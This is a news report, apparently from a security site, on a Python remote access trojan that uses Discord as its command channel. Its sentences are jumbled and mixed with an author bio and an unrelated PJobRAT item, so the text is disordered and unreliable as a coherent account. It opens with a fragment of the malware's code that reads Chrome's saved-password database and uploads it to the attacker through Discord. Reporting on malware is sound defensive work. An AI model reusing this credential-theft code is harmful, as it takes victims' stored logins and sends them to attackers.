Content == "Sending Command #2 - Password Stealer" and message.channel.id == channelid: username = os.getlogin() try: passwords = open(f"C:/Users/{username}/AppData/Local/Google/Chrome/User Data/Default/Login Data", "rb").read() await message.channel.send("Password Stealer:", file=discord.File(io.BytesIO(passwords), filename="passwords.db")) await message. When activated, the RAT attempts to extract saved passwords from popular web browsers, particularly targeting Google Chrome’s credential database, before transmitting the stolen information directly to attackers via Discord’s file-sharing capabilities. A sophisticated Python-based Remote Access Trojan (RAT) leveraging Discord as its command and control infrastructure has been identified targeting users worldwide. Cyber Security News is a Dedicated News Platform For Cyber News, Cyber Attack News, Hacking News & Vulnerability Analysis. This malware enables attackers to execute arbitrary system commands, capture screenshots, and most critically, steal saved login credentials from web browsers. This code directly accesses Chrome’s Login Data file, which contains sensitive stored credentials, and transmits the entire database file to attackers through Discord’s messaging system. Once installed on a victim’s system, the malware creates a dedicated control channel on Discord servers, establishing persistent communication with the attacker. With years of experience under his belt in Cyber Security, he is covering Cyber Security News, technology and other news. PJobRAT, an Android Remote Access Trojan (RAT) first observed in 2019, has recently resurfaced with enhanced capabilities and a refined targeting strategy. This architecture allows cybercriminals to issue commands remotely while avoiding traditional network security monitoring that might not flag Discord-related traffic as suspicious. The Discord-based delivery mechanism makes this attack particularly concerning as it exploits a legitimate and widely used platform, potentially affecting millions of users across gaming and professional communities. Tushar is a Cyber security content editor with a passion for creating captivating and informative content.
This Cyber News was published on cybersecuritynews.com. Publication date: Fri, 28 Mar 2025 17:25:03 +0000